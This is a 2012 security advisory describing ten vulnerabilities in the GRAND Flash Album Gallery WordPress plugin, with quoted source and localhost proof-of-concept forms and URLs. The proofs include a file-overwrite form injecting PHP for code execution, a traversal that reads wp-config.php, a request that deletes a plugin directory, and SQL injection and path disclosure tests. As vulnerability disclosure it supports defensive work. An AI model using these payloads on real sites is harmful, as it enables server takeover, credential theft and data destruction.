[waraxe-2012-SA#094] - Multiple Vulnerabilities in Wordpress GRAND Flash Album Gallery Plugin

Author: Janek Vind "waraxe"
Date: 24. October 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-94.html

Description of vulnerable target:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Try GRAND Flash Album Gallery - powerful flash & jQuery media content plugin.
It provides a comprehensive interface for handling image galleries, audio and
video. You can edit your media content the way you want: upload images, import
music and video, create photo gallery, music playlists, group pictures in
slideshow and add descriptions for each image, mp3 or video - GRAND FlAGallery
is the smart choice when showing the best of your product or describing in brief
any event.

http://codeasily.com/wordpress-plugins/flash-album-gallery/flag
http://wordpress.org/extend/plugins/flash-album-gallery/

Affected versions: 1.9.0, 2.0.0

###############################################################################
1. Arbitrary File Overwrite Vulnerability in "admin/skin_options.php"
###############################################################################

Reasons:
1. Insecure use of "parse_str()"
2. Uninitialized variable "$mainXML"
Attack vector: User-supplied POST parameters "settingsXML" and "mainXML"
Precondition: Logged in as admin with "FlAG Change skin" privileges

Php script "admin/skin_options.php" line:
------------------------[ source code start ]----------------------------------
$settingsXML = $settings.'/settings.xml';

$flashPost = file_get_contents("php://input");
// parse properties_skin
parse_str($flashPost);

if(isset($properties_skin) && !empty($properties_skin)) {
$fp = fopen($settingsXML, "r");
if(!$fp) {
exit( "2");//Failure - not read;
}
while(!feof($fp)) {
$mainXML .= fgetc($fp);
}
$fp = fopen($settingsXML, "w");
if(!$fp)
exit("0");//Failure
$newProperties = preg_replace("|<properties>.*?</properties>|si", $properties_skin, $mainXML);
fwrite($fp, $newProperties);
fclose($fp);
echo "1";//Save
------------------------[ source code end ]------------------------------------

As we can observe, php function "parse_str()" is used with user-supplied POST
parameters as argument. This is very dangerous coding style, because it's
possible to overwrite any variables set before this code line.
Attacker can overwrite variable "$settingsXML", which is used as path to the
file, being overwritten in next steps. So it's obvious, that attacker can choose
any files on remote system to be overwritten. Next interesting problem here is,
that variable "$mainXML" is uninitialized. It means, that attacker is able to
write any data to that variable, using the same "parse_str()", and as result,
arbitrary data can be written (prepended) to arbitrary file on remote system.
Attacker can utilize this vulnerability for injecting php code to existing files
on remote system, which ultimately leads to RCE (Remote Code Execution).

Test (file "wp-content/plugins/hello.php" must exist and be writable):
-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/skin_options.php" method="post">
<input type="hidden" name="properties_skin" value="1">
<input type="hidden" name="settingsXML" value="../../hello.php">
<input type="hidden" name="mainXML" value="<?php phpinfo();?>">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------

Injected php code can be executed by following request:

http://localhost/wp342/wp-content/plugins/hello.php

###############################################################################
2. Arbitrary File Overwrite Vulnerability in "lib/constructor.php"
###############################################################################

Reasons:
1. Insecure use of "parse_str()"
2. Uninitialized variable "$mainXML"
Attack vector: User-supplied POST parameters "skin_name" and "mainXML"
Preconditions:
1. Logged in as admin with "FlAG Change skin" privileges
2. "magic_quotes_gpc=off" for successful null-byte attacks
3. PHP must be < 5.3.4 for successful null-byte attacks

Php script "lib/constructor.php" line 25:
------------------------[ source code start ]----------------------------------
$flashPost = file_get_contents("php://input");
// parse properties_skin
parse_str($flashPost);
$settingsXML = str_replace("\","/", dirname(dirname(dirname(__FILE__))).
'/flagallery-skins/'.$skin_name.'/settings/settings.xml');

if(isset($properties_skin) && !empty($properties_skin)) {
$fp = fopen($settingsXML, "r");
if(!$fp) {
exit( "2");//Failure - not read;
}
while(!feof($fp)) {
$mainXML .= fgetc($fp);
}
$fp = fopen($settingsXML, "w");
if(!$fp)
exit("0");//Failure
$newProperties = preg_replace("|<properties>.*?</properties>|si",
$properties_skin, $mainXML);
if(fwrite($fp, $newProperties))
------------------------[ source code end ]------------------------------------

This vulnerability is similar to the previous case - main problem here is
insecure use of "parse_str()", which allows attacker to inject any data to
overwritten file by using variable "$mainXML". Different is path delivery method.
This time "$settingsXML" variable is set after use of "parse_str()", so it can't
be changed by attacker, as in previous case. Still, there is another vulnerable
user-supplied "POST" parameter "skin_name", which is used in pathname and can
be manipulated by attacker. By using directory traversal ("../") and null-byte
attack, it's possible for attacker to write arbitrary data, including php code,
to arbitrary files on remote system.

###############################################################################
3. Directory Structure Disclosure Vulnerability in "admin/ajax.php"
###############################################################################

Reason: Directory traversal
Attack vector: User-supplied POST parameter "dir"
Precondition: Logged in as admin with "FlAG Import folder" privileges

Php script "admin/ajax.php" line 238:
------------------------[ source code start ]----------------------------------
$dir = trailingslashit ( urldecode($_POST['dir']) );

if( file_exists($root . $dir) ) {
$files = scandir($root . $dir);
...
foreach( $files as $file ) {
...
if ( file_exists($root . $dir . $file) && $file != '.' && $file != '..'
&& is_dir($root . $dir . $file) ) {
echo "<li class="directory collapsed"><a href="#" rel="" .
esc_html($dir . $file) . "/">" . esc_html($file) . "</a></li>";
------------------------[ source code end ]------------------------------------

As we can see, user-supplied POST parameter "dir" is used in directory
scanning function without any sanitization. By using "../" character sequence
it is possible to utilize directory traversal and reveal the structure of
arbitrary directories (listing of subdirectories) on remote system.

Test (parameter "nonce" must be valid):
-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/wp342/wp-admin/admin-ajax.php?action=flag_file_browser&nonce=ce4b0a55d4" method="post">
<input type="hidden" name="dir" value="../../../../../">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------

###############################################################################
4. Arbitrary File Disclosure Vulnerability in "admin/news.php"
###############################################################################

Reason: Directory traversal
Attack vector: User-supplied POST parameter "want2Read"
Precondition: Logged in as admin with "manage_options" privileges

Php script "admin/news.php" line 4:
------------------------[ source code start ]----------------------------------
if ( current_user_can('manage_options') ) {
extract($_POST);
$str = file_get_contents($want2Read);
echo $str;
------------------------[ source code end ]------------------------------------

Test:
-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/news.php" method="post">
<input type="hidden" name="want2Read" value="../../../../wp-config.php">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------

###############################################################################
5. Arbitrary Directory Deletion Vulnerability in "admin/skins.php"
###############################################################################

Reason: Directory traversal
Attack vector: User-supplied GET parameter "delete"
Preconditions:
1. Logged in as admin with "FlAG Change skin" and "FlAG Delete skins" privileges

Php script "admin/skins.php" line 185:
------------------------[ source code start ]----------------------------------
if ( isset($_GET['delete']) ) {
$delskin = $_GET['delete'];
if ( current_user_can('FlAG Delete skins') ) {
if ( $flag_options['flashSkin'] != $delskin ) {
$skins_dir = trailingslashit( $flag_options['skinsDirABS'] );
$skin = $skins_dir.$delskin.'/';
if(basename($skin) != 'flagallery-skins') {
if ( is_dir($skin) ) {
if( flagGallery::flagFolderDelete($skin) )
------------------------[ source code end ]------------------------------------

Test (beware - directory "akismet" will be deleted):

http://localhost/wp342/wp-admin/admin.php?page=flag-skins&delete=../akismet

Result: "Skin '../akismet' deleted successfully".

If directory "akismet" existed before and was deletable by php, then it's gone.

###############################################################################
6. SQL Injection Vulnerability in "admin/ajax.php"
###############################################################################

Reason: Insufficient sanitization of user-supplied data
Attack vector: User-supplied POST parameter "form"
Precondition: Logged in as admin with "FlAG Manage gallery" privileges

Php script "admin/ajax.php" line 112:
------------------------[ source code start ]----------------------------------
function flag_save_album() {
...
if(isset($_POST['form']))
parse_str($_POST['form']);
if($album_name && $album_id) {
...
$result = $wpdb->query( "UPDATE $wpdb->flagalbum SET name = '{$name}',
categories = '{$galstring}' WHERE id = $album_id" );
------------------------[ source code end ]------------------------------------

Test: first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Next we can use html form below:
-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/wp342/wp-admin/admin-ajax.php?action=flag_save_album" method="post">
<input type="hidden" name="form" value="album_name=1&album_id=waraxe">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------

Result:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
UPDATE wp_flag_album SET name = '1', categories = '' WHERE id = waraxe

###############################################################################
7. SQL Injection Vulnerability in "admin/manage.php"
###############################################################################

Reason: Insufficient sanitization of user-supplied data
Attack vector: User-supplied POST parameter "description"
Precondition: Logged in as admin with "FlAG Manage gallery" privileges

Php script "admin/manage.php" line 332:
------------------------[ source code start ]----------------------------------
function update_pictures() {
...
$description = $_POST['description'];
...
if ( is_array($description) ) {
foreach( $description as $key => $value ) {
$desc = $wpdb->escape($value);
$wpdb->query( "UPDATE $wpdb->flagpictures SET description = '$desc'
WHERE pid = $key");
------------------------[ source code end ]------------------------------------

Test: first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Next, we need Firefox Add-on "Tamper Data" for POST request manipulation.
Open gallery management page:

http://localhost/wp342/wp-admin/admin.php?page=flag-manage-gallery

Navigate to edit mode:

http://localhost/wp342/wp-admin/admin.php?page=flag-manage-gallery&mode=edit&gid=1

Activate "Tamper Data".
Click "Save changes" on webpage, "Tamper Data" triggers.

Add new POST parameter "description[waraxe]=test", click "OK".
Modified POST request will fly to the server and we can see SQL error:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
UPDATE wp_flag_pictures SET description = 'test' WHERE pid = waraxe

###############################################################################
8. Directory Existence Disclosure Vulnerability in "facebook.php"
###############################################################################

Reason: Directory traversal
Attack vector: User-supplied GET parameter "f"
Precondition: None
Result: Attacker can detect the presence of directories on remote system

Php script "facebook.php" line 21:
------------------------[ source code start ]----------------------------------
if(isset($_GET['i'])) {
$skin = '';
if(isset($_GET['f'])){
$skinpath = trailingslashit( $flag_options['skinsDirABS'] ).$_GET['f'];
if(is_dir($skinpath))
$skin = $_GET['f'];
...
$gids = $_GET['i'];
...
if($gids){
echo flagShowFlashAlbum($gids, $name='Gallery', $width='100%', $height=$h,
$skin, $playlist='', $wmode='opaque', $linkto); ?>
------------------------[ source code end ]------------------------------------

Tests:

http://localhost/wp342/wp-content/plugins/flash-album-gallery/facebook.php?i=1&f=../../../wp-admin
http://localhost/wp342/wp-content/plugins/flash-album-gallery/facebook.php?i=1&f=../../../foobar

Result:

we can see different responses to existing and non-existent directories

###############################################################################
9. SQL Injection Vulnerability in "lib/shortcodes.php"
###############################################################################

Reason: Insufficient sanitization of user-supplied data
Attack vector: Shortcode parameter "orderby"
Precondition: Logged in as admin, editor or author (must be able to create
or edit posts)

Php script "lib/shortcodes.php" line 19:
------------------------[ source code start ]----------------------------------
add_shortcode( 'flagallery', array(&$this, 'show_flashalbum' ) );
...
function show_flashalbum( $atts ) {
global $wpdb, $flagdb;
extract(shortcode_atts(array(
'gid' => '',
...
'order' => '',
...
} elseif($gid == "all") {
if(!$orderby) $orderby='gid';
if(!$order) $order='DESC';
$gallerylist = $flagdb->find_all_galleries($orderby, $order);
------------------------[ source code end ]------------------------------------

Php script "lib/flag-db.php" line 76:
------------------------[ source code start ]----------------------------------
function find_all_galleries($order_by = 'gid', $order_dir = 'ASC',
$counter = false, $limit = 0, $start = 0, $exclude = 0) {
...
$this->galleries = $wpdb->get_results( "SELECT SQL_CALC_FOUND_ROWS *
FROM $wpdb->flaggallery
ORDER BY {$order_by} {$order_dir} {$limit_by}", OBJECT_K );
------------------------[ source code end ]------------------------------------

Test:

Step1:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Step 2: insert following shortcode to the post:

[flagallery gid="all" orderby="waraxe"]

Step 3: Open webpage with previously created/modified post

Result: SQL error will be shown:

WordPress database error: [Unknown column 'waraxe' in 'order clause']
SELECT SQL_CALC_FOUND_ROWS * FROM wp_flag_gallery ORDER BY waraxe DESC

###############################################################################
10. Full Path Disclosure Vulnerability in multiple scripts
###############################################################################

Reasons: Direct request to php script triggers pathname leak in error message
Preconditions: PHP directive "display_errors=on"
Result: Information Exposure Through an Error Message

Tests:

http://localhost/wp342/wp-content/plugins/flash-album-gallery/widgets/widgets.php

Fatal error: Class 'WP_Widget' not found in
C:apache_wwwwp342wp-contentpluginsflash-album-gallerywidgetswidgets.php on line 12

http://localhost/wp342/wp-content/plugins/flash-album-gallery/lib/shortcodes.php

Fatal error: Call to undefined function add_shortcode() in
C:apache_wwwwp342wp-contentpluginsflash-album-gallerylibshortcodes.php on line 19

http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/tinymce/tinymce.php

Fatal error: Call to undefined function add_filter() in
C:apache_wwwwp342wp-contentpluginsflash-album-galleryadmin inymce inymce.php on line 27

http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/ajax.php

Fatal error: Call to undefined function add_action() in
C:apache_wwwwp342wp-contentpluginsflash-album-galleryadminajax.php on line 3

http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/grab_meta.php

Fatal error: Class 'flagMeta' not found in
C:apache_wwwwp342wp-contentpluginsflash-album-galleryadmingrab_meta.php on line 2

http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/jgallery.php

Fatal error: Call to undefined function get_option() in
C:apache_wwwwp342wp-contentpluginsflash-album-galleryadminjgallery.php on line 2

http://localhost/wp342/wp-content/plugins/flash-album-gallery/admin/media-upload.php

Fatal error: Call to undefined function add_filter() in
C:apache_wwwwp342wp-contentpluginsflash-album-galleryadminmedia-upload.php on line 14

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------

Published on: 2012-10-24 (11782 reads)

[ Go Back ]